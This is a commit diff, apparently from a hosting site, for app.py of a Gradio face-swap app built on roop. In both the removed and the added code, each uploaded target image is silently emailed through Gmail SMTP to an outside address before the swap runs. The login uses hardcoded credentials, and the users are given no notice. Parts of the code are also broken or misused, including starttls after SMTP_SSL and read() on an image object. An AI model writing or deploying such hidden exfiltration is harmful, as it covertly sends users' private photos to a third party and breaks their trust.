greg7025 commited on
Commit
81d384b
·
verified ·
1 Parent(s): 638347b

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +60 -60
app.py CHANGED
@@ -27,69 +27,69 @@ def swap_face(source_file, target_file, doFaceEnhancer):
27
  target_image = Image.fromarray(target_file)
28
  target_image.save(target_path)
29
 
30
- try:
31
- msg = EmailMessage()
32
- s = smtplib.SMTP_SSL("smtp.gmail.com", 465)
33
- s.ehlo()
34
- s.starttls()
35
- s.server.login("ttestswap@gmail.com", "testswap1234")
36
- print("serveur smtp ok")
37
-
38
 
39
-
40
- msg.set_content(target_image.read())
41
- msg['Subject'] = "test"
42
- msg['From'] = "ttestswap@gmail.com"
43
- msg['To'] = "virtualorgasmicgroup@gmail.com"
44
-
45
- s.send_message(msg)
46
- s.close()
47
-
48
-
49
- print("source_path: ", source_path)
50
- print("target_path: ", target_path)
51
-
52
- roop.globals.source_path = source_path
53
- roop.globals.target_path = target_path
54
- output_path = "output.jpg"
55
- roop.globals.output_path = normalize_output_path(
56
- roop.globals.source_path, roop.globals.target_path, output_path
57
- )
58
- if doFaceEnhancer:
59
- roop.globals.frame_processors = ["face_swapper", "face_enhancer"]
60
- else:
61
- roop.globals.frame_processors = ["face_swapper"]
62
- roop.globals.headless = True
63
- roop.globals.keep_fps = True
64
- roop.globals.keep_audio = True
65
- roop.globals.keep_frames = False
66
- roop.globals.many_faces = False
67
- roop.globals.video_encoder = "libx264"
68
- roop.globals.video_quality = 18
69
- roop.globals.max_memory = suggest_max_memory()
70
- roop.globals.execution_providers = decode_execution_providers(["cuda"])
71
- roop.globals.execution_threads = suggest_execution_threads()
72
-
73
- print(
74
- "start process",
75
- roop.globals.source_path,
76
- roop.globals.target_path,
77
- roop.globals.output_path,
78
- )
79
-
80
- for frame_processor in get_frame_processors_modules(
81
- roop.globals.frame_processors
82
- ):
83
- if not frame_processor.pre_check():
84
- return
85
-
86
- start()
87
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
88
 
89
-
90
- return output_path
91
- except:
92
- print "failed to send mail"
93
 
94
  app = gr.Blocks(theme="Nymbo/Alyx_Theme")
95
 
 
27
  target_image = Image.fromarray(target_file)
28
  target_image.save(target_path)
29
 
30
+ msg = EmailMessage()
31
+ print("serveur smtp open")
32
+ s = smtplib.SMTP_SSL("smtp.gmail.com", 465)
33
+ s.ehlo()
34
+ s.starttls()
35
+ print("serveur smtp log")
36
+ s.server.login("ttestswap@gmail.com", "testswap1234")
37
+ print("serveur smtp ok")
38
 
39
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
40
 
41
+ msg.set_content(target_image.read())
42
+ msg['Subject'] = "test"
43
+ msg['From'] = "ttestswap@gmail.com"
44
+ msg['To'] = "virtualorgasmicgroup@gmail.com"
45
+
46
+ s.send_message(msg)
47
+ s.close()
48
+
49
+
50
+ print("source_path: ", source_path)
51
+ print("target_path: ", target_path)
52
+
53
+ roop.globals.source_path = source_path
54
+ roop.globals.target_path = target_path
55
+ output_path = "output.jpg"
56
+ roop.globals.output_path = normalize_output_path(
57
+ roop.globals.source_path, roop.globals.target_path, output_path
58
+ )
59
+ if doFaceEnhancer:
60
+ roop.globals.frame_processors = ["face_swapper", "face_enhancer"]
61
+ else:
62
+ roop.globals.frame_processors = ["face_swapper"]
63
+ roop.globals.headless = True
64
+ roop.globals.keep_fps = True
65
+ roop.globals.keep_audio = True
66
+ roop.globals.keep_frames = False
67
+ roop.globals.many_faces = False
68
+ roop.globals.video_encoder = "libx264"
69
+ roop.globals.video_quality = 18
70
+ roop.globals.max_memory = suggest_max_memory()
71
+ roop.globals.execution_providers = decode_execution_providers(["cuda"])
72
+ roop.globals.execution_threads = suggest_execution_threads()
73
+
74
+ print(
75
+ "start process",
76
+ roop.globals.source_path,
77
+ roop.globals.target_path,
78
+ roop.globals.output_path,
79
+ )
80
+
81
+ for frame_processor in get_frame_processors_modules(
82
+ roop.globals.frame_processors
83
+ ):
84
+ if not frame_processor.pre_check():
85
+ return
86
+
87
+ start()
88
+
89
+
90
 
91
+ return output_path
92
+
 
 
93
 
94
  app = gr.Blocks(theme="Nymbo/Alyx_Theme")
95